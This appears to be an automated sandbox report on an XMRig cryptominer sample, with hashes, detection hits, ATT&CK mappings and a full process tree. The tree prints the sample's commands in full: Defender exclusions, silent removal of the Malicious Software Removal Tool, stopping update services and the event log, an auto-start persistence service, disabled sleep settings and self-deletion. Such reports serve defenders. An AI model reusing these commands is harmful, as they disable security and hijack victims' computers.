xmrig | bebc876ed9fa78f002f42645c1f04d9208f49f5f96c1049dc57dcd2a7fc13d67

Analysis

max time kernel
120s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/09/2024, 10:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

58e3a4b941e19b1782fc46c0dd26ab00N.exe
Size

5.5MB
MD5

58e3a4b941e19b1782fc46c0dd26ab00
SHA1

517758f8012e04aaf452faf1e7b5886b17836eba
SHA256

bebc876ed9fa78f002f42645c1f04d9208f49f5f96c1049dc57dcd2a7fc13d67
SHA512

7dd428f563689e4f67628542c8b9fc11dbb5ae58525f0d4844be483beba466ba83a86c5dc1a4283e23e4d0f8b0e3196841868238ca5210fe9885561650c6b765
SSDEEP

98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/404-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/404-41-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe
2344	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
1048	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
472	Process not Found
2020	lutlgidagtja.exe

Loads dropped DLL 1 IoCs

pid	Process
472	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/404-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/404-41-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2052	powercfg.exe
2084	powercfg.exe
2208	powercfg.exe
2980	powercfg.exe
808	powercfg.exe
2772	powercfg.exe
2796	powercfg.exe
2464	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	58e3a4b941e19b1782fc46c0dd26ab00N.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	lutlgidagtja.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2020 set thread context of 2836	2020	lutlgidagtja.exe	87
PID 2020 set thread context of 404	2020	lutlgidagtja.exe	88

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1824	sc.exe
2484	sc.exe
1628	sc.exe
2424	sc.exe
2940	sc.exe
2440	sc.exe
2576	sc.exe
820	sc.exe
308	sc.exe
2672	sc.exe
2204	sc.exe
2776	sc.exe
1964	sc.exe
1624	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10f7081e3704db01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2984	powershell.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2932	58e3a4b941e19b1782fc46c0dd26ab00N.exe
2020	lutlgidagtja.exe
2344	powershell.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
2020	lutlgidagtja.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe
404	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeShutdownPrivilege	2464	powercfg.exe
Token: SeShutdownPrivilege	2052	powercfg.exe
Token: SeShutdownPrivilege	2084	powercfg.exe
Token: SeShutdownPrivilege	2208	powercfg.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeShutdownPrivilege	2796	powercfg.exe
Token: SeShutdownPrivilege	2772	powercfg.exe
Token: SeShutdownPrivilege	808	powercfg.exe
Token: SeShutdownPrivilege	2980	powercfg.exe
Token: SeLockMemoryPrivilege	404	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2788	2572	cmd.exe	35
PID 2572 wrote to memory of 2788	2572	cmd.exe	35
PID 2572 wrote to memory of 2788	2572	cmd.exe	35
PID 1048 wrote to memory of 2332	1048	cmd.exe	62
PID 1048 wrote to memory of 2332	1048	cmd.exe	62
PID 1048 wrote to memory of 2332	1048	cmd.exe	62
PID 1848 wrote to memory of 812	1848	cmd.exe	70
PID 1848 wrote to memory of 812	1848	cmd.exe	70
PID 1848 wrote to memory of 812	1848	cmd.exe	70
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 2836	2020	lutlgidagtja.exe	87
PID 2020 wrote to memory of 404	2020	lutlgidagtja.exe	88
PID 2020 wrote to memory of 404	2020	lutlgidagtja.exe	88
PID 2020 wrote to memory of 404	2020	lutlgidagtja.exe	88
PID 2020 wrote to memory of 404	2020	lutlgidagtja.exe	88
PID 2020 wrote to memory of 404	2020	lutlgidagtja.exe	88

C:\Users\Admin\AppData\Local\Temp\58e3a4b941e19b1782fc46c0dd26ab00N.exe
"C:\Users\Admin\AppData\Local\Temp\58e3a4b941e19b1782fc46c0dd26ab00N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2932
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2788
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2440
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2576
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2424
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2484
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:2204
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1964
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1628
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\58e3a4b941e19b1782fc46c0dd26ab00N.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2332

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:812
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:820
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1824
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2776
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:308
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2940
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2836
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

Filesize
5.5MB

MD5
58e3a4b941e19b1782fc46c0dd26ab00

SHA1
517758f8012e04aaf452faf1e7b5886b17836eba

SHA256
bebc876ed9fa78f002f42645c1f04d9208f49f5f96c1049dc57dcd2a7fc13d67

SHA512
7dd428f563689e4f67628542c8b9fc11dbb5ae58525f0d4844be483beba466ba83a86c5dc1a4283e23e4d0f8b0e3196841868238ca5210fe9885561650c6b765

Download Submit
memory/404-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-41-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-35-0x0000000000130000-0x0000000000150000-memory.dmp

Filesize
128KB

Download
memory/404-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/404-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2344-17-0x0000000019EF0000-0x000000001A1D2000-memory.dmp

Filesize
2.9MB

Download
memory/2344-18-0x0000000000D70000-0x0000000000D78000-memory.dmp

Filesize
32KB

Download
memory/2836-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2836-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2836-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2836-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2836-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2836-25-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2984-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/2984-11-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-5-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2984-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2984-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download